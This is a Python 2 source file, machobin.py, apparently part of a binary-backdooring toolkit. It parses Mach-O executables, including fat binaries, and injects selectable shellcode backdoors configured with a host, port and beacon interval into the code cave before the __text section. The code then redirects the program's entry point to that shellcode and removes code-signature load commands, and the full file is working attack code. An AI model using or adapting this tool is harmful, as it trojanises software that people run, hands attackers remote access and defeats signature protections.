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machobin.py
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machobin.py
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#!/usr/bin/env python
'''
Copyright (c) 2013-2015, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
'''
import os
import struct
import shutil
from intel.MachoIntel64 import macho_intel64_shellcode
from intel.MachoIntel32 import macho_intel32_shellcode
class machobin():
def __init__(self, FILE, OUTPUT=None, SHELL=None, HOST="127.0.0.1", PORT=8080,
SUPPORT_CHECK=False, SUPPLIED_SHELLCODE=None, FAT_PRIORITY="x64",
BEACON=15
):
self.FILE = FILE
self.OUTPUT = OUTPUT
self.fat_hdrs = {}
self.mach_hdrs = {}
self.load_cmds = {}
self.ImpValues = {}
self.jumpLocation = 0x0
self.PORT = PORT
self.HOST = HOST
self.SHELL = SHELL
self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE
self.SUPPORT_CHECK = SUPPORT_CHECK
self.FAT_FILE = False
self.FAT_PRIORITY = FAT_PRIORITY
self.BEACON = BEACON
self.supported_CPU_TYPES = [0x7, # i386
0x01000007 # x64
]
def run_this(self):
'The Engine'
self.bin = open(self.FILE, 'r+b')
self.supported = ''
if self.SUPPORT_CHECK is True:
#Exit out either way
if not self.FILE:
print "You must provide a file to see if it is supported (-f)"
return False
try:
self.support_check()
except Exception, e:
print 'Exception:', str(e), '%s' % self.FILE
if self.supported is False:
print "%s is not supported." % self.FILE
return False
else:
print "%s is supported." % self.FILE
return True
self.support_check()
result = self.patch_macho()
return result
def support_check(self):
print "[*] Checking file support"
with open(self.FILE, 'r+b') as self.bin:
check = self.get_structure()
if check is False:
self.supported = False
for key, value in self.load_cmds.iteritems():
self.ImpValues[key] = self.find_Needed_Items(value)
if self.ImpValues[key]['text_segment'] == {}:
print '[!] Not a proper Mach-O file'
self.supported = False
def output_options(self):
"""
Output file check.
"""
if not self.OUTPUT:
self.OUTPUT = os.path.basename(self.FILE)
def set_shells(self, MagicNumber, ):
"This function sets the shellcode."
print "[*] Looking for and setting selected shellcode"
avail_shells = []
self.bintype = False
if MagicNumber == '0xfeedface':
#x86
self.bintype = macho_intel32_shellcode
elif MagicNumber == '0xfeedfacf':
#x64
self.bintype = macho_intel64_shellcode
if not self.SHELL:
print "You must choose a backdoor to add: "
for item in dir(self.bintype):
if "__" in item:
continue
elif ("returnshellcode" == item
or "pack_ip_addresses" == item
or "eat_code_caves" == item
or 'ones_compliment' == item
or 'resume_execution' in item
or 'returnshellcode' in item):
continue
else:
print " {0}".format(item)
return False
if self.SHELL not in dir(self.bintype):
print "The following %ss are available:" % str(self.bintype).split(".")[1]
for item in dir(self.bintype):
#print item
if "__" in item:
continue
elif ("returnshellcode" == item
or "pack_ip_addresses" == item
or "eat_code_caves" == item
or 'ones_compliment' == item
or 'resume_execution' in item
or 'returnshellcode' in item):
continue
else:
print " {0}".format(item)
avail_shells.append(item)
self.avail_shells = avail_shells
return False
#else:
# shell_cmd = self.SHELL + "()"
self.shells = self.bintype(self.HOST, self.PORT, self.jumpLocation, self.SUPPLIED_SHELLCODE, self.BEACON)
self.allshells = getattr(self.shells, self.SHELL)()
self.shellcode = self.shells.returnshellcode()
return self.shellcode
def get_structure(self):
'''This function grabs necessary data for the mach-o format'''
self.binary_header = self.bin.read(4)
if self.binary_header == "\xca\xfe\xba\xbe":
print '[*] Fat File detected'
self.FAT_FILE = True
ArchNo = struct.unpack(">I", self.bin.read(4))[0]
for arch in range(ArchNo):
self.fat_hdrs[arch] = self.fat_header()
for hdr, value in self.fat_hdrs.iteritems():
if int(value['CPU Type'], 16) in self.supported_CPU_TYPES:
self.bin.seek(int(value['Offset'], 16), 0)
self.mach_hdrs[hdr] = self.mach_header()
self.load_cmds[hdr] = self.parse_loadcommands(self.mach_hdrs[hdr])
if self.mach_hdrs is False:
return False
else:
#Not Fat Header
self.bin.seek(0)
self.mach_hdrs[0] = self.mach_header()
self.load_cmds[0] = self.parse_loadcommands(self.mach_hdrs[0])
def fat_header(self):
header = {}
header["CPU Type"] = hex(struct.unpack(">I", self.bin.read(4))[0])
header["CPU SubType"] = hex(struct.unpack(">I", self.bin.read(4))[0])
header["Offset"] = hex(struct.unpack(">I", self.bin.read(4))[0])
header["Size"] = hex(struct.unpack(">I", self.bin.read(4))[0])
header["Align"] = hex(struct.unpack(">I", self.bin.read(4))[0])
return header
def mach_header(self):
header = {}
header['beginningOfHeader'] = self.bin.tell()
try:
header['MagicNumber'] = hex(struct.unpack("<I", self.bin.read(4))[0])
except:
print "[!] Not a properly formated Mach-O file"
return False
header['CPU Type'] = hex(struct.unpack("<I", self.bin.read(4))[0])
header['CPU SubType'] = hex(struct.unpack("<I", self.bin.read(4))[0])
header['File Type'] = hex(struct.unpack("<I", self.bin.read(4))[0])
header['LOCLoadCmds'] = self.bin.tell()
header['Load Cmds'] = hex(struct.unpack("<I", self.bin.read(4))[0])
header['LOCSizeLdCmds'] = self.bin.tell()
header['Size Load Cmds'] = hex(struct.unpack("<I", self.bin.read(4))[0])
header['Flags'] = hex(struct.unpack("<I", self.bin.read(4))[0])
if header['MagicNumber'] == '0xfeedfacf':
header['Reserved'] = hex(struct.unpack("<I", self.bin.read(4))[0])
header['endOfHeader'] = self.bin.tell()
return header
def parse_loadcommands(self, someHdrs):
#print int(someHdrs['Load Cmds'], 16)
overall_cmds = []
for section in range(int(someHdrs['Load Cmds'], 16)):
cmds = {}
cmds['Command'] = struct.unpack("<I", self.bin.read(4))[0]
cmds['CommandSize'] = struct.unpack("<I", self.bin.read(4))[0]
cmds['LOCInFIle'] = self.bin.tell()
cmds['DATA'] = self.bin.read(int(cmds['CommandSize']) - 8)
cmds['last_cmd'] = self.bin.tell()
overall_cmds.append(cmds)
return overall_cmds
def find_Needed_Items(self, theCmds):
'''
This method returns a dict with commands that we need
for mach-o patching
'''
_tempDict = {}
text_segment = {}
text_section = {}
LC_MAIN = {}
LC_UNIXTREAD = {}
LC_CODE_SIGNATURE = {}
LC_DYLIB_CODE_SIGN_DRS = {}
locationInFIle = 0
last_cmd = 0
for item in theCmds:
locationInFIle = item['LOCInFIle']
if item['DATA'][0:6] == "__TEXT" and item['Command'] == 0x01:
text_segment = {
'segname': item['DATA'][0:0x10],
'VMAddress': item['DATA'][0x10:0x14],
'VMSize': item['DATA'][0x14:0x18],
'File Offset': item['DATA'][0x18:0x1C],
'File Size': item['DATA'][0x1C:0x20],
'MaxVMProt': item['DATA'][0x20:0x24],
'InitalVMProt': item['DATA'][0x24:0x28],
'NumberOfSections': item['DATA'][0x28:0x2C],
'Flags': item['DATA'][0x2C:0x30]
}
count = struct.unpack("<I", text_segment['NumberOfSections'])[0]
i = 0
while count > 0:
if '__text' in item['DATA'][0x30 + i:0x40 + i]:
text_section = {
'sectionName': item['DATA'][0x30 + i:0x40 + i],
'segmentName': item['DATA'][0x40 + i:0x50 + i],
'Address': item['DATA'][0x50 + i:0x54 + i],
'LOCAddress': locationInFIle + 0x50 + i,
'Size': item['DATA'][0x54 + i:0x58 + i],
'LOCTextSize': locationInFIle + 0x54 + i,
'Offset': item['DATA'][0x58 + i:0x5c + i],
'LocTextOffset': locationInFIle + 0x58 + i,
'Alignment': item['DATA'][0x5c + i:0x60 + i],
'Relocations': item['DATA'][0x60 + i:0x64 + i],
'NumberOfRelocs': item['DATA'][0x64 + i:0x68 + i],
'Flags': item['DATA'][0x68 + i:0x6c + i],
'Reserved1': item['DATA'][0x6c + i:0x70 + i],
'Reserved2': item['DATA'][0x70 + i:0x74 + i],
}
break
else:
count -= 1
i += 0x40
elif item['DATA'][0:6] == "__TEXT" and item['Command'] == 0x19:
text_segment = {
'segname': item['DATA'][0:0x10],
'VMAddress': item['DATA'][0x10:0x18],
'VMSize': item['DATA'][0x18:0x20],
'File Offset': item['DATA'][0x20:0x28],
'File Size': item['DATA'][0x28:0x30],
'MaxVMProt': item['DATA'][0x30:0x34],
'InitalVMProt': item['DATA'][0x34:0x38],
'NumberOfSections': item['DATA'][0x38:0x3C],
'Flags': item['DATA'][0x3c:0x40]
}
count = struct.unpack("<I", text_segment['NumberOfSections'])[0]
i = 0
while count > 0:
if '__text' in item['DATA'][0x40 + i:0x50 + i]:
text_section = {
'sectionName': item['DATA'][0x40 + i:0x50 + i],
'segmentName': item['DATA'][0x50 + i:0x60 + i],
'Address': item['DATA'][0x60 + i:0x68 + i],
'LOCAddress': locationInFIle + 0x60 + i,
'Size': item['DATA'][0x68 + i:0x70 + i],
'LOCTextSize': locationInFIle + 0x68 + i,
'Offset': item['DATA'][0x70 + i:0x74 + i],
'LocTextOffset': locationInFIle + 0x70 + i,
'Alignment': item['DATA'][0x74 + i:0x78 + i],
'Relocations': item['DATA'][0x78 + i:0x7c + i],
'NumberOfRelocs': item['DATA'][0x7c + i:0x80 + i],
'Flags': item['DATA'][0x80 + i:0x84 + i],
'Reserved1': item['DATA'][0x84 + i:0x88 + i],
'Reserved2': item['DATA'][0x88 + i:0x8c + i],
'Reserved3': item['DATA'][0x8c + i:0x90 + i],
}
break
else:
count -= 1
i += 0x4c
if item['Command'] == 0x80000028:
LC_MAIN = {
'LOCEntryOffset': locationInFIle,
'EntryOffset': item['DATA'][0x0:0x8],
'StackSize': item['DATA'][0x8:0x16]
}
elif item['Command'] == 0x00000005 and struct.unpack("<I", item['DATA'][0x0:0x4])[0] == 0x01:
LC_UNIXTREAD = {
'LOCEntryOffset': locationInFIle,
'Flavor': item['DATA'][0x00:0x04],
'Count': item['DATA'][0x04:0x08],
'eax': item['DATA'][0x08:0x0C],
'ebx': item['DATA'][0x0C:0x10],
'ecx': item['DATA'][0x10:0x14],
'edx': item['DATA'][0x14:0x18],
'edi': item['DATA'][0x18:0x1C],
'esi': item['DATA'][0x1C:0x20],
'ebp': item['DATA'][0x20:0x24],
'esp': item['DATA'][0x24:0x28],
'ss': item['DATA'][0x28:0x2C],
'eflags': item['DATA'][0x2C:0x30],
'LOCeip': locationInFIle + 0x30,
'eip': item['DATA'][0x30:0x34],
'cs': item['DATA'][0x34:0x38],
'ds': item['DATA'][0x38:0x3C],
'es': item['DATA'][0x3C:0x40],
'fs': item['DATA'][0x40:0x44],
'gs': item['DATA'][0x44:0x48],
}
elif item['Command'] == 0x00000005 and struct.unpack("<I", item['DATA'][0x0:0x4])[0] == 0x04:
LC_UNIXTREAD = {
'LOCEntryOffset': locationInFIle,
'Flavor': item['DATA'][0x00:0x04],
'Count': item['DATA'][0x04:0x08],
'rax': item['DATA'][0x08:0x10],
'rbx': item['DATA'][0x10:0x18],
'rcx': item['DATA'][0x18:0x20],
'rdx': item['DATA'][0x20:0x28],
'rdi': item['DATA'][0x28:0x30],
'rsi': item['DATA'][0x30:0x38],
'rbp': item['DATA'][0x38:0x40],
'rsp': item['DATA'][0x40:0x48],
'r8': item['DATA'][0x48:0x50],
'r9': item['DATA'][0x50:0x58],
'r10': item['DATA'][0x58:0x60],
'r11': item['DATA'][0x60:0x68],
'r12': item['DATA'][0x68:0x70],
'r13': item['DATA'][0x70:0x78],
'r14': item['DATA'][0x78:0x80],
'r15': item['DATA'][0x80:0x88],
'LOCrip': locationInFIle + 0x88,
'rip': item['DATA'][0x88:0x90],
'rflags': item['DATA'][0x90:0x98],
'cs': item['DATA'][0x98:0xA0],
'fs': item['DATA'][0xA0:0xA8],
'gs': item['DATA'][0xA8:0xB0],
}
if item['Command'] == 0x000001D:
LC_CODE_SIGNATURE = {
'Data Offset': item['DATA'][0x0:0x4],
'Data Size': item['DATA'][0x0:0x8],
}
if item['Command'] == 0x0000002B:
LC_DYLIB_CODE_SIGN_DRS = {
'Data Offset': item['DATA'][0x0:0x4],
'Data Size': item['DATA'][0x0:0x8],
}
if item['last_cmd'] > last_cmd:
last_cmd = item['last_cmd']
_tempDict = {'text_segment': text_segment, 'text_section': text_section,
'LC_MAIN': LC_MAIN, 'LC_UNIXTREAD': LC_UNIXTREAD,
'LC_CODE_SIGNATURE': LC_CODE_SIGNATURE,
'LC_DYLIB_CODE_SIGN_DRS': LC_DYLIB_CODE_SIGN_DRS,
'last_cmd': last_cmd
}
return _tempDict
def patch_macho(self):
if self.supported is False:
print self.FILE, "is not supported."
return False
self.output_options()
if not os.path.exists("backdoored"):
os.makedirs("backdoored")
os_name = os.name
if os_name == 'nt':
self.backdoorfile = "backdoored\\" + self.OUTPUT
else:
self.backdoorfile = "backdoored/" + self.OUTPUT
shutil.copy2(self.FILE, self.backdoorfile)
for key, value in self.mach_hdrs.iteritems():
MagicNumber = value['MagicNumber']
text_section = self.ImpValues[key]['text_section']
last_cmd = self.ImpValues[key]['last_cmd']
LC_MAIN = self.ImpValues[key]['LC_MAIN']
LC_UNIXTREAD = self.ImpValues[key]['LC_UNIXTREAD']
if self.binary_header == "\xca\xfe\xba\xbe":
offset = int(self.fat_hdrs[key]['Offset'], 16)
else:
offset = 0x0
LC_CODE_SIGNATURE = self.ImpValues[key]['LC_CODE_SIGNATURE']
LC_DYLIB_CODE_SIGN_DRS = self.ImpValues[key]['LC_DYLIB_CODE_SIGN_DRS']
patchx64 = True
patchx86 = True
if self.FAT_FILE is True and self.FAT_PRIORITY != 'ALL':
if self.FAT_PRIORITY.lower() == 'x64':
patchx86 = False
if self.FAT_PRIORITY.lower() == 'x86':
patchx64 = False
with open(self.backdoorfile, 'r+b') as bin:
if MagicNumber == '0xfeedfacf' and patchx64 is True:
print "[*] Patching x86_64 Mach-O Binary"
cave_size = struct.unpack("<I", text_section['Offset'])[0] + offset - last_cmd
print "[*] Pre-text section 'code cave' size:", hex(cave_size)
resultShell = self.set_shells(MagicNumber)
if not resultShell:
print "[!] Could not set shell"
return False
if len(self.shellcode) > cave_size:
print "[!] Shellcode is larger than available space"
return False
startingLocation = struct.unpack("<I", text_section['Offset'])[0] + offset - len(self.shellcode)
if LC_UNIXTREAD != {}:
print "[*] ...with LC_UNIXTREAD format"
#print 'LC_UNIXTREAD', struct.unpack("<Q", LC_UNIXTREAD['rip'])[0], struct.unpack("<Q", text_section['Address'])[0]
if struct.unpack("<Q", LC_UNIXTREAD['rip'])[0] - struct.unpack("<Q", text_section['Address'])[0] != 0x0:
self.jumpLocation = struct.unpack("<Q", LC_UNIXTREAD['rip'])[0] - struct.unpack("<Q", text_section['Address'])[0]
else:
print "[*] ...with LC_MAIN format"
#print struct.unpack("<Q", LC_MAIN['EntryOffset'])[0], struct.unpack("<I", text_section['Offset'])[0]
if struct.unpack("<Q", LC_MAIN['EntryOffset'])[0] - struct.unpack("<I", text_section['Offset'])[0] != 0x0:
self.jumpLocation = struct.unpack("<Q", LC_MAIN['EntryOffset'])[0] - struct.unpack("<I", text_section['Offset'])[0]
resultShell = self.set_shells(MagicNumber)
if not resultShell:
print "[!] Could not set shell"
return False
#print 'shellcode:', self.shellcode.encode('hex')
bin.seek(startingLocation, 0)
bin.write(self.shellcode)
bin.seek(text_section['LOCAddress'], 0)
newAddress = struct.unpack("<Q", text_section['Address'])[0] - len(self.shellcode)
bin.write(struct.pack("<Q", newAddress))
newSize = struct.unpack("<Q", text_section['Size'])[0] + len(self.shellcode)
bin.write(struct.pack("<Q", newSize))
newOffset = struct.unpack("<I", text_section['Offset'])[0] - len(self.shellcode)
bin.write(struct.pack("<I", newOffset))
if LC_UNIXTREAD != {}:
bin.seek(LC_UNIXTREAD['LOCrip'], 0)
bin.write(struct.pack("<Q", newAddress))
elif LC_MAIN != {}:
bin.seek(LC_MAIN["LOCEntryOffset"], 0)
bin.write(struct.pack("<Q", newOffset))
elif MagicNumber == '0xfeedface' and patchx86 is True:
print "[*] Patching x86 (i386) Mach-O Binary"
cave_size = struct.unpack("<I", text_section['Offset'])[0] + offset - last_cmd
print "[*] Pre-text section 'code cave' size:", hex(cave_size)
resultShell = self.set_shells(MagicNumber)
if not resultShell:
print "[!] Could not set shell"
return False
if len(self.shellcode) > cave_size:
print "[!] Shellcode is larger than available space"
return False
#FIND Current Location
startingLocation = struct.unpack("<I", text_section['Offset'])[0] + offset - len(self.shellcode)
if LC_UNIXTREAD != {}:
print "[*] ...with LC_UNIXTREAD format"
if struct.unpack("<I", LC_UNIXTREAD['eip'])[0] - struct.unpack("<I", text_section['Address'])[0] != 0x0:
self.jumpLocation = struct.unpack("<I", LC_UNIXTREAD['eip'])[0] - struct.unpack("<I", text_section['Address'])[0]
else:
print "[*] ...with LC_Main format"
if struct.unpack("<Q", LC_MAIN['EntryOffset'])[0] - struct.unpack("<I", text_section['Offset'])[0] != 0x0:
self.jumpLocation = struct.unpack("<Q", LC_MAIN['EntryOffset'])[0] - struct.unpack("<I", text_section['Offset'])[0]
resultShell = self.set_shells(MagicNumber)
if not resultShell:
print "[!] Could not set shell"
return False
bin.seek(startingLocation, 0)
bin.write(self.shellcode)
bin.seek(text_section['LOCAddress'], 0)
newAddress = struct.unpack("<I", text_section['Address'])[0] - len(self.shellcode)
bin.write(struct.pack("<I", newAddress))
newSize = struct.unpack("<I", text_section['Size'])[0] + len(self.shellcode)
bin.write(struct.pack("<I", newSize))
newOffset = struct.unpack("<I", text_section['Offset'])[0] - len(self.shellcode)
bin.write(struct.pack("<I", newOffset))
if LC_UNIXTREAD != {}:
bin.seek(LC_UNIXTREAD['LOCeip'], 0)
bin.write(struct.pack("<I", newAddress))
else:
bin.seek(LC_MAIN["LOCEntryOffset"], 0)
bin.write(struct.pack("<I", newOffset))
else:
print "[!] Not patching this arch:", MagicNumber
continue
if LC_CODE_SIGNATURE != {}:
print "[*] Removing LC_CODE_SIGNATURE command"
bin.seek(self.mach_hdrs[key]['LOCLoadCmds'], 0)
oldNumber = struct.unpack("<I", bin.read(4))[0]
bin.seek(self.mach_hdrs[key]['LOCLoadCmds'], 0)
bin.write(struct.pack("<I", oldNumber - 1))
oldsize = struct.unpack("<I", bin.read(4))[0]
bin.seek(self.mach_hdrs[key]['LOCLoadCmds'] + 4, 0)
bin.write(struct.pack("<I", oldsize - 0x10))
if LC_DYLIB_CODE_SIGN_DRS != {}:
print "[*] Removing LC_DYLIB_CODE_SIGN_DRS command"
bin.seek(self.mach_hdrs[key]['LOCLoadCmds'], 0)
oldNumber = struct.unpack("<I", bin.read(4))[0]
bin.seek(self.mach_hdrs[key]['LOCLoadCmds'], 0)
bin.write(struct.pack("<I", oldNumber - 1))
oldsize = struct.unpack("<I", bin.read(4))[0]
bin.seek(self.mach_hdrs[key]['LOCLoadCmds'] + 4, 0)
bin.write(struct.pack("<I", oldsize - 0x10))
print "[!] Patching Complete"
return True